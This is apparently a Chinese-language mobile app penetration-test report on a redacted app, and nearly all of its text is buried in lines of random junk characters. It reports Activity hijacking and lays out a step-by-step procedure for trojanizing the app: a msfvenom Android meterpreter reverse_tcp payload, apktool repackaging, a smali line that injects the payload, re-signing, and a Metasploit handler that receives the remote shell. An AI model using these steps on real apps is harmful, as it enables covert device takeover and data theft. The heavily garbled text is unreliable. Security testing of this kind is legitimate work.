3 T9 f* k7 \" t6 T* Z0 x5 O* Y$ N1 [
5 n% Q) k( v& z. w
8 K2 [- ^7 q- \+ z9 D
, g/ L) w/ r1 ~5 f* |
; E9 @* l4 F( Q! N" p( I& i
4 J: W5 n+ P, i% s K# O/ c
7 \2 P/ v. f; A" r# z D |
* O2 C! S. _8 x$ d$ L e7 k/ o6 H# @4 @2 q! [+ b" ~8 |
0 k9 ^7 p5 A+ u! ?) v t6 F
: y v/ O) f6 K v5 y1 k ) ?8 B; W/ y. I! U; b
- a7 M! a2 q7 n/ X6 u3 L7 {
P1 d, l9 k1 ^. u3 ?8 U3 ?& F9 m& ]& V7 S8 ^0 X) S% |
" x' X$ b& N% B/ @1 \
0 V- T! Z% ?" k t" } : c9 |4 f5 B3 M6 }# I
; M o; A U9 P0 ^$ b! I
% X, Q# t2 a1 b" |; @2 `2 X
. r$ r8 B; F+ e. N( r$ u
2 q6 |" B+ P# N% r% m
( m; A4 e( s# |& T- H l. w7 W- @, i2 t7 L6 d% p
* H, X, l$ C0 r3 D; g
表1-2 测试结果
. T& Q+ K5 `" p; J* m# ]; ^2 H
0 k8 y0 B4 u% G! L2 I" w
: V0 [" H) B- [) T- T8 O- m7 R, {1 {
! {" L- H- ^" v8 q9 M1 ] ! w) Q7 T; i4 S
8 n4 ^* P @& q2 [8 K2 W" G, ]
/ o0 `# [8 Q8 R; s
/ h$ p$ w4 i; h
2 u5 Z) S: T4 [: n
6 w% T2 e1 G2 z3 N2 d8 M3 I0 @ 6 ?0 K; Q- N- i
/ |) z; a" M7 w 2 检测结果 1 m- v7 }1 E. F9 u
3 U- X( W" D- F" U7 V0 z: p: a
# J/ Q, x/ b5 y+ J' A0 n7 i4 W8 b- m
/ \6 m- N) R4 p8 G$ p3 k$ h, v
2.1 某某某
: A8 K2 V8 t7 C" O& j4 P% s( p! Z' I: k/ e; R
, Y: p7 Q f- L& D
/ l! M' C$ [* j
4 l6 [5 x* P! w* W. L! y" M3 b `2 {' Q
2.1.1检测目标 + J" p G* r7 |- F7 t& [4 `
( m: z! A* [/ Z3 F- I2 ?
2 _# F3 v4 \! c% j8 f
[' I2 x$ @, y% v6 n! L. p
% r0 r* i2 m/ _2 S5 f& I# Y
: j( U- b/ ]% J8 @8 c, h! ^ 目标地址: 某某某某某某APP x, b$ S9 P5 ?6 b( Y* B1 S* g
9 u& ?( M( a' @; G' z8 l: e
, Y/ J6 F. P1 }4 E5 w, l
. U# w, c/ h0 P9 |! h( M
4 l% m" n. A" z. v
( O& L2 K; I: r( |' h0 W 2.1.2检测结果 , B) \1 m5 j( `' k3 R) t8 W
$ h; J- _9 p7 s; S9 o
' J+ P* ^8 G0 Z" X. f3 P1 q* r5 o2 I2 a+ l, U* E& K
% ^' {) b' q- A! A P/ G4 D" m& K
5 e: A/ C; G" j9 O# w3 N% o; Q 2.1.2.1
% @! N3 V, E0 ~
$ b) |0 s4 b+ m. f" k3 f. R
6 U" e! _) D" z$ |" T9 |+ w+ L
; _0 V3 t+ |9 E9 u( s9 [
) H, c- K3 G/ Y, H: V8 _9 ^
. ] c& ^* j" W9 J3 w1 @# _ 漏洞链接地址:某某某某某某APP , c3 U2 u& P( Z4 L
/ ?4 ~7 l# M7 p# C5 S9 o3 T
/ f- k$ S* L/ H1 G5 v4 r% E$ r
1 l t. E* k! u
' S% p2 l9 w% Y9 y! D1 g- u0 k7 j4 l0 h9 r
9 M: ]& F2 x9 P' f1 j. s0 V7 v" C
! m9 y: r2 Z9 G) O- v
3 |3 u$ i0 \* P. x7 J8 O4 `
6 b( v( }# j# @
+ E. N7 B9 O. L0 i4 Y9 ?; _. f
: U. R4 _! T$ T* V, y( D; [' g x/ W 漏洞分析及取证:
# p# D% `/ G% Q: I$ k' h7 ` @
- v) K. R! r6 x* D' ^) X
( a/ T+ W1 \; T+ v( t
1 U3 r/ \5 s7 y7 K5 D; S) V% U
2 r& h- @5 `1 p! B+ Z
6 E) p5 J5 f6 J8 c/ b# ~3 @
通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图:
& E* F- G( S9 X% o
" n2 C* S0 ~1 x4 U: s; R- `' m
O# F: Y/ U: R$ [
5 h+ \: N3 }& Y( z, p |9 P " _2 ]1 f" P" s* g% n
7 M* Y; }; j6 g% b
1 I! ~5 v: ^3 S; g
$ X" C2 n; \: B: P9 p
) ?( |$ _# m7 ^- D7 w
) W' c6 t; V+ h$ X0 x6 Q
- G3 n( ^) A3 R8 B4 Z3 X: ]6 q _# @: Y8 a2 h* g* w
( n( V5 c$ i' ~/ [( Q( ~% U1 L* `& B& p0 G- B
+ D2 z/ g* K* o4 k4 o8 ?
3 J: U8 J# x8 x7 M5 a! K : H/ M4 v) E \: d9 {
5 U9 G* l/ C- W
: _, z! K; ~2 ^# P, |! v% v7 `
$ o- b! T: J: t
9 H7 L! Z: P; E3 o
& j Z, Q, [3 X s: S & B3 I) C6 V9 W, L
' C$ r' q. E' {
% @% T. W6 \# B0 p; ]- x0 A/ `
5 w* u, Y, G! G6 y7 e& b1 ]
, { g' ^" y* O! a# J7 d
, Q6 `5 R, b: H6 e: B- r
, s" a3 W6 i) D0 F- `; P! ~ g4 n+ i0 |
' w, M6 a% V3 D6 E/ f/ x1 P; G8 C' b; }7 l9 s* ]- {
7 X* D1 ^4 U, N! f7 ]6 h
9 h% I' G' z2 @# v7 P, O
; C9 ?6 _' B* C6 Z% J! U; b
" [# U: l, y* x* b! ~* L 漏洞危害:高
W/ T6 `* ?2 Y; e2 i* k
' {: M I1 R+ O) G7 v8 z
4 z; G( F; C& k/ P2 v- D; s/ D- n( z" ^ n: @0 b
{; i5 u7 ?- B/ P8 @/ p
8 a) u& L& s: `$ G. `0 K
0 A, x4 U) O% f; j% Y; c
( K+ i7 j1 _3 \2 m' `* \" ]
7 l+ E* `+ W+ s& K. j
( e; z2 X' F0 p7 q/ E # {* B- I! J, Z* L6 e- G
; m! L1 O0 p& z6 y
|
4 U; A$ X8 V& B7 y- }5 b5 v, c, c$ |2 f, ]5 Q0 ]
6 b, F% s8 u r& W4 S# I; }
6 B2 c7 h, U# V' v d4 Q) a 严重程度
Z! D. Y) v" M a) m: e2 Y" M4 y# c% O8 W) P% m
" F/ {' ^2 T# b2 Y2 U- F
1 M/ A/ }8 W d! t |
; S8 l! \8 j7 q6 ~) U0 G6 m+ |
! i5 ~1 j( s; p& P/ ] : n- q7 Z& W0 ?6 r& D! u
3 l1 S/ t2 f" D6 \) D
' g3 ^/ l2 \) u: j: B2 E! N
' T# t; f. M. u# ?) U 高 ( d: ?4 ]9 o& c) w- D1 W
$ k ]. ?3 o/ ]* F( S
! X i' {) p( F6 J k
( |1 L; a& l0 ?0 V | ) m9 Q6 i4 p3 P* A P6 e
9 b) g- T; b# \2 ^) O9 I
9 V: b& W: ~$ D, K! H0 R; }. D9 V! o( `2 _( Y+ t" z
, M, \, r& i" o x; [
# T k- i( K" d% F ■ ( H- _6 D' O) S% O
$ O- U/ H" f& ^* J
1 `0 M( I+ v; A: d1 s8 x$ ]( q2 H# H) P# |& e5 m8 L
|
3 o" Z8 f4 [6 F
# |3 o8 v( G+ p3 ?6 L8 G
. r1 B( M5 n' }0 h
+ ^$ }: c% M8 G( z0 G. i) g; a- p
* ^( r1 d8 O2 q& U; ~6 n; u, k _
中
2 [1 t8 l' w* s" |" ^9 q% s5 B: ]
" e- d8 s# s* w9 O0 _ # R: T6 h H4 v/ R
& M/ ]$ x9 k6 i | 7 x& m$ h3 D6 `5 R$ ^
" u/ Z0 K2 p+ n' t. d$ ]
1 K% V) R- O2 L$ N ? L: y P D5 z ]
. u( c0 J$ Z1 N) P' N2 t4 U k
3 t0 c' d' Z. H# ]3 m & G7 F, J" H, v
1 W7 e' @, r7 V$ k0 ?
0 \: C0 P/ @) ?, ^" V* ~# o! y/ w
1 Y' P" c$ F$ n" u | 3 Y7 S4 O- H0 r' T9 ?) l
# _( U! J; c3 K 1 _. x* @- O- a3 D+ R
# ~7 j, h, ?: x9 j* N- ]# A+ n
* D p5 @# d2 Z2 d5 o4 @7 B; W- m8 H4 X A/ T8 N
低
+ F/ ]0 D1 j7 }4 c3 o1 E y) }" w4 {& T4 L
: Z- b- \4 ^ w9 @% L8 F& Y3 U9 E; a: u/ f* K& b0 A' m
| 7 A6 w. g0 c( d$ ~0 n8 \
% i* W9 ?3 j7 V" j* I) c ( P8 S, y6 g" [. x. O# F5 a: s
! b2 V8 x& B% h" Y 0 [3 F9 l/ V, i: Y1 o9 ^4 ^1 \- x
0 J E2 v- F3 U `3 s
( j' A, I6 a) c4 u
# E+ e( m: L2 O% V3 ~ ) [6 w( T n' x3 Q; K2 C" Z2 |
+ O# \, e3 ?; `7 Z
|
$ c" H( a, K( @7 e5 Y5 y8 E) r1 B& {- \' L% j
; n" M$ A0 `1 I& g) q
" K. S! f, p/ T3 J
0 u, h1 q2 g3 Q! @0 H; `4 E" |7 b* y% \2 i. P, ]( b
. v% }' Z8 _$ ?( E0 |* q
# e! b$ T c# H" b
9 A+ ?# R ]$ f! [
3 e; o w" ^' n$ f2 B
5 c( c% H3 j: v' q* U+ D' U3 R0 M
* i3 e7 J9 Y& k6 U/ p& A3 L4 ~( b, A 8 L7 d. A, k: {6 C O* K d, k% f
! y: G6 O& r, n" j) r; E
) i/ { q" v7 M$ _. y
4 e& h" [; s k" E" U
; z L% W9 ?" z i7 I8 \ f- S& Q, H8 a$ U0 a# V1 W) c
修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。
% }" ~4 k& S8 q0 f$ j
& ]; _ @8 W6 \% V
& c* A( N2 t& U% u( H ?+ y! k* _( I1 W6 |4 N
! i+ I; I' \! H) U2 |
5 p% g/ f, N/ |6 M# R6 Z' _, H ; b5 b( k; J8 x% f
" b* @/ i7 x- v0 R' F# l# a. |
. x: q) }& ^1 x& X- |& \+ {1 Y
7 g. P/ _; L5 ~
! f" s% w1 F9 ]( D' l* S6 l( L
Z9 }2 U) r3 O! q9 R! _3 N - l2 }, E* [& m K7 K
& }6 b* M! j) M3 V8 ~
* Y3 P, L/ P4 j" s. K! W5 V* F; h; m& Y2 g( e S
6 v; X x1 A" T; e
. q' h) Q- v% q B6 U" X 2.1.2.2 `; I; }; E; M: n4 P
7 K# B- a0 e+ C* q
0 F4 {4 _9 G2 e9 o) F: N
" P2 u1 [: }% e$ E% f: r
: g# @2 }" F' u Z: @9 X- l1 |
& f, b# E0 ^/ @
漏洞链接地址:某某某某某某APP 0 R. q: Z ^! n% M3 W+ Y4 M3 c
3 e. f- [8 L* K: q' j' @6 j
7 @9 Q2 {% K- ?5 P" w
: h6 w+ d7 D% ^8 n; c
% s; i& A7 ^* ?: f- b* S5 L& V. d6 H5 c1 t! t0 K; v4 d
漏洞分析及取证:
7 W: j, ], e( D5 Z
) i7 R! z8 L! W1 L" R0 D5 v
# [( }- ~ p, Q! E
4 s1 B8 E' v% m& I E# ^6 y
, X, \9 U+ r& Y$ y1 n2 q
8 x5 x8 \2 e0 [ E. q% J 通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下:
4 _3 e( r1 m1 j+ o( X; z( s B% u5 t( b. t: q! R
4 f' u( m2 U$ Y2 k1 H" `' {, [/ m: s! \ F/ b g+ G
. w6 [6 P' Z# J( U2 V( T' G' n
* Z( l& Y& q$ b; X4 D l8 `& x 用Metasploit 生成木马 apk ( e7 }5 z0 l* X1 X- n
. _& {9 K' @! u w5 l {
* a1 X4 `* k/ _" F: ^6 @! r; O: Z, \( I
1 q! N% H/ Z' T; A# N' H2 \6 b% K% P, }
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk
+ o2 Q, T8 b* R0 N
; y0 f8 |; h& q3 J' r8 N# ?8 ]
7 u4 h" k3 l) L1 z2 Z- [
- c, N: f& {1 W5 l d 1 M. Z, K% m6 l# z. f4 [$ u% A4 }! f
# \* F8 I' o/ Y) k( ^3 T" k& D 反编译目标apk和木马apk 7 v; Y5 D8 K# _ F$ F
: e% {1 q/ T. I% T- z+ ^: J3 r+ k
6 A( R$ ^4 h8 F. [
* s+ d3 g1 Y7 ~0 L2 |& \( ` $ d, P7 R7 b% a7 h3 |) w
7 p1 R6 N2 l5 s" n! ^
apktool d target.apk
+ o& I5 O- l! A9 S9 f4 m" w
1 W: q' `; ^! E" c apktool d cockhorse.apk
& W, j) J4 I+ U5 [3 v: P5 n8 ]2 ?" T) @3 V: U; P
! n& o6 T" v8 G6 m% J1 J
# K2 `5 w! X; ~1 ^
( X& B3 j1 @/ W0 H* ?8 d4 t
+ i$ k" ?7 J8 @' a 木马 apk 注入目标 apk
# A1 L# O/ p, M0 x8 T' O+ q1 o! j1 A& g0 A( _- G6 v
8 i( F9 d( n. M6 U1 f( u
. i" @ X1 {0 L' x
2 z5 S" t0 z6 ~- S+ l) ?- C" {6 Y- \& e
在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
6 }" r( [+ S. T. N" l0 ?- f0 J
6 V2 A) C: o+ }5 W" K
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
& F: _, s/ t: s3 W9 N
& V# l& H8 U) D
& }; r- C( ^/ j3 N0 f' d
6 v) K8 j9 ^- c- ^7 m. c1 Y% ^ 4 F* f4 I8 {5 G
, U4 y0 w5 C1 {0 l 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复
- z2 j7 d) |. j; q: Z
: l" u/ X0 V! h
( G& e* \$ i! J7 o2 p
. C2 p; @$ n4 n' `. Q j
8 D" i: _" p0 }8 u* _3 e- P7 g; l& ~, f( B$ f
将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下
- R. C- w \7 P ]; B! N! R% I- n3 v' d. J6 d/ e
9 q% L k/ _& m+ ?1 X! O& l/ a/ U' y/ l5 x1 Z$ k9 F, y+ \
1 `- W& x- k$ X9 g$ L* {9 U
8 ~6 R$ B" q, y0 V! Y0 O$ r/ u 回编译生成最终 apk 6 \4 t M& t8 j" T" K
) J8 o) b2 ]& H* l* y# |9 i% d
) s9 B, t/ V q6 P
* W+ W* G% j, f+ A& n @. l
\. ~; P! p* s/ N
5 A) R) k/ n0 R; a: L( e" H/ A
重新打包
, n$ L/ F6 M& r. d
( P5 a4 S) m- _
& H" P9 r7 F+ y F9 d# W
' U1 [! Q0 I0 L7 }! g; ^# M
6 D; L3 h# V( b+ m, k5 N5 p( f( B* K5 [/ P7 ~8 S
apktool b -o repackage.apk target_app_floder ) F, W, v: ]2 f$ v. ^% V0 G& \5 k
# o& q/ {4 Z. X+ G& g( \; o G
9 @: n5 |. J& d' k5 y0 `* f5 _
3 o3 H1 X4 Q, U G9 O2 H+ x$ T 4 e3 y% x3 S: W' p
9 c1 Z# n+ Y; \
创建签名文件,有的话可忽略此步骤
0 T9 w6 r) ]. T- J# ^
* q8 `7 T7 p# O; B4 I o
% K m8 n8 I' S/ b1 a# G; g
8 j' Q6 f4 \% [, A( E$ N
' G, ]& }+ x) n+ \7 C' c5 a: s' b% V6 Q
keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000 1 q+ p3 Z6 a3 X* z
+ ~* W6 B+ Q0 N
' z4 z- ?: W' g
! |8 v% ]; Y1 [$ h, ` . i5 N9 ^* Y7 i2 [' I4 T2 N2 N2 E
7 o6 I& s3 V( x1 m' V 签名,以下任选其一
5 o8 I2 D+ g7 d7 M8 u, W
; N' M6 G' o- Z, L( L# q3 {
9 O5 A% w( |6 ^% {' B
2 ? D" F) m0 n7 o i ! D6 X, I0 ~$ _: ?
, D/ p2 f# ]2 b1 [. N4 {" @8 e
jarsigner 方式
: w# Y+ F1 U0 W5 M& U) ^7 M0 E5 ~. l0 V' O5 W, ~
, q5 u6 a; E; c; s
; F0 N; F( f ]- x& \" n, t
# D9 g& R* D# G& Q% s. s- Y- Z% v3 K
jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname
5 k! t2 C. ^2 g$ |# k/ L$ H
1 k0 ?0 I# y9 [$ [; y
9 y5 U- a* H& s: N" y4 b6 Q7 G9 Q9 a4 p* }2 {; j. C0 T: Z5 G) X' A
: X% y" e, g. s! g* Z
! n" Y6 |# }) x o apksigner 方式
8 y7 D9 e# U3 N. G' Q( t5 P& ^4 W. u6 i6 e% l
# E, o3 h7 z. A) X5 _
& @# Y6 H0 W+ Q' s
( o* e6 T$ G2 L1 y9 w& Q/ V! r0 ]8 v3 d7 n2 H/ [
apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk
$ D7 r5 t; o% `2 Y6 {
1 |8 [, h, K5 P/ a
* s- N, \ L, {$ R/ P2 m( @; `# Y0 a, U6 W+ ]/ Q+ J/ p, L" B6 B
- D- f$ |) R+ r( }3 _
* A# j$ }2 y. e S 如需要禁用 v2签名 添加选项--v2-signing-enabled false 2 P) \2 M: d3 O8 S, H x' d3 \$ c
2 O/ H/ z. R6 w# H0 w9 y
. ?( R6 m, n/ Z0 B% i% ~8 t& h! ~, C& a% L
3 G+ k# X5 \, Z7 _! ^9 U" E1 c
V+ G+ u E+ B9 ~' @! }- j 验证,以下任选其一
X' n/ X: M D4 D$ Z- D5 k
" J7 U1 S( Z; }' ?
4 v2 m# I6 _8 I3 G3 ?
: Z- W( @, n! N( \* e5 S$ X8 ]. C 2 w0 D, H* ]4 u `
: R% F3 W$ Z: W' `1 z: l) R
jarsigner方式
* A( P( d2 r4 U3 F3 j% o- [- L
: E1 O Q6 \/ x
8 X* n5 s# N# j; b O
/ L! r4 K! _) H* ~2 Z
' u2 D8 \ y6 L6 S
# r0 b# j, F& U$ B* I9 u% S
jarsigner -verify repackaged.apk
' x% C, V3 j v+ o, d, V2 T1 r; T6 ]1 m) g. E
1 m- W5 `- J9 H# @4 @3 \- d X9 X% k$ F+ d- S0 c
7 t" m# V" q3 G% b8 g7 X, ^
# ^" l6 Q0 f' z apksigner 方式
" E) h. \. R9 p( t+ [
& G4 N: k! h& ]/ G& m; Z$ ^
( c1 U, q6 F4 e
8 ~, p+ P) x# r$ x' Z) o& Z
6 l0 w1 c1 G; A+ R R t
$ a$ x3 m2 T; S; y$ k apksigner verify -v --print-certs repackaged.apk ! T( ?3 O8 E0 U7 ~5 y
7 }1 k# C1 u8 N" m! C
. n3 c. p3 L/ Z, c! e
- ^) X" T8 x% g5 u3 j0 p" ~" Q
5 l% e6 ~. W. A
! u, D2 |2 f& i! d8 K+ r
keytool方式
' Z7 |- h% ?9 E3 A' u) ~
5 o& ^8 H& `9 K% F3 F2 u
/ w9 i W" T2 G& i! M
5 S! r D4 D+ I% f
1 ^$ s- u0 x- o8 t1 P0 R; |0 m' I8 Q+ ~$ T9 `$ h2 C! K
keytool -printcert -jarfile repackaged.apk
! _ L6 F+ T4 `$ K, T
! O+ h3 x' H3 S+ i
9 t7 s! S2 P, X. M; G; t4 B0 O
% g# U4 ~ P" x4 A# y2 ~! D. A6 F
2 X X5 x) b% a8 Z# y' T. N" Q" F6 B7 p+ T4 O. e$ C# y
对齐 0 N, D2 z# w1 y+ o+ B9 B
6 q/ g @* f+ x' q: F
. o6 r0 D( z/ z3 V7 D1 v0 v- I1 O' [- A& N. o' h2 f4 L }; u
; P. h2 x+ d9 l: N& W. J
2 K' X! @- F; B/ O+ t6 w
字节对齐优化 " R2 e" Z* R# e- i, Z
0 D7 b& j* z, [( N. u
2 t+ ^; H x: v& A
) J% ?; y1 t5 Y1 J" i! ] 8 k7 d# L/ X9 Z; P! m* }" _
8 T& }5 [# ?) V zipalign -v 4 repackaged.apk final.apk 8 f" k0 X" \; z3 c6 T' H2 m9 F4 J
! S0 e, o3 u, V
! t0 R, o l4 z2 b& b0 G
5 [6 ]/ x( P+ l" S
5 |+ G6 r& V) x6 u3 I- G+ h0 P, F; _1 k# M# }6 W$ q; b
检查是否对齐
8 ~5 b/ J! b6 n' R
L% r8 V8 d' @( V/ S: ]
% r. J! x- L( S. Y ]3 u
- b# Y5 j u# D) W : I/ y3 S9 m# a' g: B
7 B2 A0 s4 ?" r1 [& Y9 P! @
zipalign -c -v 4 final.apk
8 F: Q( M/ z0 s( a9 s
7 u' J7 X. G! u4 ?
6 A! j0 M" u! d5 y
7 [' z5 H4 L' u
" J& w; }9 E9 i; s3 a" [6 ^; G, o
" e. r; ?6 O# w) g) R. S 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行
( n T3 n; U9 Z/ [* `# m
8 n( I2 i( h, c: u9 J( F9 r
- Q& Z0 C6 ~# i8 N( `1 G6 H
7 t; ]2 Y# G% b* S4 f
$ k: S* D3 _9 v- p$ X! [% ]$ x- B8 O' V
启动Metasploit控制台,配置参数等待上线 - D7 h, m/ t( I
" h* U% k" R1 c4 m- E
/ Z$ C+ T$ V+ h8 F! n1 }* @# w: \ m- A/ M$ M) n
c- `) k, y8 v1 ?, j& F
) g& t0 a% K& U4 X7 K* U
在终端依次输入如下命令
7 M, ?! O$ i( F L$ O, D
* [- y! [& o% _. q! ^1 w2 L
0 f7 Y& ^- m. I5 X* S# h8 V! X, x, ~& b
5 j# J9 S# D& e5 b6 G6 m
3 y' o/ L: u: D; F" _7 M6 R2 d msfconsole 2 K! V* l. E) a6 e0 \
3 Y3 \- U) s) s+ `3 n" R/ K
8 A8 G2 c e3 ?* V' B+ f' a
# r3 J/ {% F; _. q9 E# a 2 e% w1 t. d7 W$ R k
; Z6 h4 X1 T* c# j. l; E use exploit/multi/handler
, V" D, @8 ?' T4 M0 d5 a, K" U$ l9 Z: z- _4 `6 g* f6 ?
0 n J& p5 P, {6 X0 V' m: F8 s! E2 i Q' r; @1 A
0 `; t% N _- S0 `3 J9 X
, m+ F5 e* B: y+ M7 [
set PAYLOAD android/meterpreter/reverse_tcp b& J' Z1 ^0 _; C% ?( O4 X, N
$ s+ H' O9 [6 b/ Z- [0 F: y% D
& k: C# _" w! G7 n, u/ G, X% {: {
: g8 Q6 V$ O7 b# n* S
9 w) ]/ P* b" T% j2 U, W( D9 G$ R1 }; k& K- N8 T
set LHOST 192.xxx.xx.xx
8 u: v: ?3 p( ~- c3 Z! j B% F& h, a& P$ V' E2 ]6 \
/ m1 T6 f3 y) j- L2 h
0 \! l8 r8 O% h8 V; v/ P0 p
3 E2 _0 g2 n+ W n
( C4 s3 ~3 w. P) b4 v set LPORT 4444
0 f5 [1 x. k4 M5 I& H
% d+ J1 c+ w& k/ Z/ L
2 `' n7 r& ^5 k/ {
/ R( T9 H) t Z1 {! R& L
/ p9 Q. K/ |0 z* F0 {
3 Z9 y4 S" p3 |' [4 Y! ^, E4 } exploit
, z6 t# A. x ?$ J
7 F& A* X d7 @- {7 O
2 X0 a3 d; Z! s, F, c0 ?
) {8 P9 [* T7 }) x. L2 W) d9 C `, U 6 s) b) ]- n9 Q- i2 A. k7 v
_9 O' M7 q: {9 v1 L6 h
之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
/ T) K! j, a6 H
7 R8 \4 ~/ b7 _+ ]# n/ p
0 i4 r: E! h' ?" m2 L! [5 t
0 s" x3 w6 `. Z0 n2 M1 @# _ 0 o3 \5 y1 r7 H1 k6 y4 ?! S) _
7 L/ p0 q$ ?' r1 v# ?) f/ [* \ 漏洞危害:中 3 S9 e) Y- p* Q7 j9 {2 `' \
% x3 g! p$ ~* K& j; e
1 F/ A: h. i; [; j6 v/ q; o
8 w$ d) s+ w6 s; j: H: } 2 A8 c$ J$ T1 P4 N3 n
& R r, z7 `" h; U
5 |, I+ S# u- Z% w& Q9 l m; K
& @7 t. ~0 w3 ^' o
$ Y; P# g; c! I
% Q/ r1 n; m; Z. D$ i" C( M2 d$ w ' \) W9 A! m- A+ J- i8 d6 {2 d
1 S! V" b/ E' S
# L8 Q0 T6 }6 | s S8 }" l' [+ x8 z. n! C! y, Q0 [
| ' e) X. k- N. T& F* N
7 f* G8 K5 i: o5 d
$ P5 }0 X- O$ i1 }( \
# N0 {7 d* ~ X! B. N 严重程度 7 i+ @; a! T `; U R5 H8 i" s( w
6 J: D& e2 T. i/ |- ?0 l/ k" b: {
* o* N9 s( W/ E/ l8 G* n e
, {6 b$ m4 V- a* ], u |
* |) P1 t4 P1 S% c% s& {" P
3 I# V4 b0 O! T0 r4 F# { ( Q& ~" s( \, l' N6 s
; t Z( H" s o: a( d/ u9 z
, P6 {" c7 [% z. k: j
3 s9 m3 h3 s" }. A( V# `. ~ 高 ' M- m9 l) ^8 y3 n4 Z
" i$ K* Q. t+ S4 S( i2 A ( S' m1 B; h6 U2 Y1 v1 v
) w: T T) I1 K6 Z) l
| ! K b% p f) |# J; m( V* P' R9 ?
& e- a% M) k( t; k8 J; Q
0 [7 }. z2 l# D% p* }+ f$ t) T) }1 _7 B0 Z# |# L
0 O. m$ U% B0 l1 A! T3 b" f3 K4 B
/ J# @- c8 y8 O ■ % w7 ^/ A3 n1 d `$ d
( i( t+ T0 Z/ k! s" T ! j7 `2 D8 h q" @( M; S
) C. C9 F) k5 Q/ I1 w2 Y2 | o | - _ D2 [4 ]: m7 y+ G) b
6 i0 P. D- ^0 [. h# o
& c( R/ [1 ^2 m9 `7 b; h- g5 E/ k- x5 q3 {' D4 K& ^ I% }
0 Q7 ^. |) C+ S4 Q- s
3 e" c" c6 I1 h# A; { 中
`0 D2 |3 P- t) W4 b: l0 g5 ]+ l3 R' }
! P7 O9 r3 l, Q: C; E' A
& z R) L3 I5 a2 e* n | 0 H% y- G& O( c2 x( M9 K2 u/ c1 U
+ |1 n e- M1 ^0 M- c K4 y4 W
2 b2 J3 [* H9 V( Z& O- _' ]0 _4 ` h1 j# p' L: _/ ]0 t% N# t8 T
3 O& h$ h3 ]5 J+ q
% J3 Y9 J1 n: |' G/ O : a" M8 u, J0 ^2 N6 W
' f/ }; u; _) R* Q / ~8 `! ?0 {/ { k4 k, b- r
# f4 ?4 y* V8 W* z/ V t
$ ]' x: q$ o; {+ T, s1 K- b
% ]! ^7 K1 X- e+ ?) @ |
4 w: v1 ^! L2 s: [' V& D% `8 P$ }: Q; C; @) w8 l
8 k4 A/ `: ?- |# T% c7 A
* M& I. i* T1 S+ x " y e) W6 b0 L1 x% q u
3 t' u( j" f& D. [3 N) t& T
低 $ a3 d5 \" E* m: @
3 B+ X' b2 t( X3 I
2 b+ d9 C" O& N7 e3 o) o7 ^
( C* C5 g4 f1 s/ ?& g0 _ |
- B: z( b3 v2 C1 A7 b/ h. H, ]5 }8 W. b
# N0 G4 K" a0 ~- |, j4 E* Q
2 T( |1 L! u! w. Y+ F, W
& v0 e3 [/ S9 a. | Z; o& T- ]/ c1 b
' @5 o* R: B4 P3 c0 F1 V; `
" z! T! M$ M" h& F* p2 h! F
2 V; k- W, O$ [+ m/ j/ \: R
% X, N4 `: y# a6 e
! Y# |1 `" r `% ~) @, { 2 ^0 d% H1 t+ @, ~# u8 e+ v3 _2 J
( T& t' d; [- d3 v; ~! H/ @
| 0 g! b& x5 n9 V6 b2 f% x- k- ^
0 n& F8 c: y( |2 c1 `
0 D- }+ i; Y- c6 s: m& _0 p( F* E) [
: j4 h1 Q/ V! y
$ h2 x) \0 u8 O% D/ W2 W5 I
% h( a A, j: S8 H; o$ |
7 o; j8 h! {! V `: Q/ Y" N
6 n8 {+ |) S1 ]! d! ^3 Q
* X2 D& v" E: r* G) y/ Z2 i ! O: [( I! d/ Y# j( B7 `
9 k+ I$ ^1 f( @1 B. c6 k( A
( h9 `/ w% m( F, G: m* q" L! }' @4 y% }6 v
% b% j5 P8 q( ? D- L
5 S' j: \1 Q: S5 v 3 N' r# w+ l9 V% L
8 _3 v/ ^* _ c6 M1 l+ ~* k, K 修复方法:
4 \7 A3 J# [+ F! H7 @' W8 P
0 j6 x5 C( L8 Y- U6 M( e
7 \0 m* S) L7 a+ q" x: O' k7 i! \
( d Q% u" J5 q1 d. h6 U 6 w' q1 E1 s0 R1 H
R& Q$ I: x2 X, b) k0 g* \- g* Z
1.在 APP 启动时应做签名校验防止二次打包。
9 n- G/ |- u$ j# B# X" l; a
$ f5 O# {% \. g E7 ?: p: @! u+ G 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。
7 {! [, @9 D$ j' X C
8 \9 D5 W d- [
2 A1 e0 H2 y7 i" t3 y$ O: S- M3 D
4 p8 R1 F9 ^# _/ h' ` a
- G8 \: R3 [' G3 o% a8 S3 g+ V1 N& \+ e' V: ^3 {' O* g/ x
, y0 q) C: o9 o! u$ o( `# S& t$ y, L, W
4 K% n2 C2 b1 O& @, F7 q
& r/ W( Q: V* u( E$ d# e
, K* d- ~5 J; I( L
* D' i/ ?) q+ O
2 b4 a% K* S7 X0 m- o1 @9 }0 F9 j7 p: l/ u
: P9 j* K( ^; Q& G! g1 L' g
/ p. {7 e5 S2 S) N+ i+ k
# {( t9 l9 b% p7 T y$ k0 l5 ?! o, \- P1 }" x+ m. S8 X
. l% C+ v( P. @+ ]: V+ f9 V
9 i9 O" H+ P+ g6 L7 B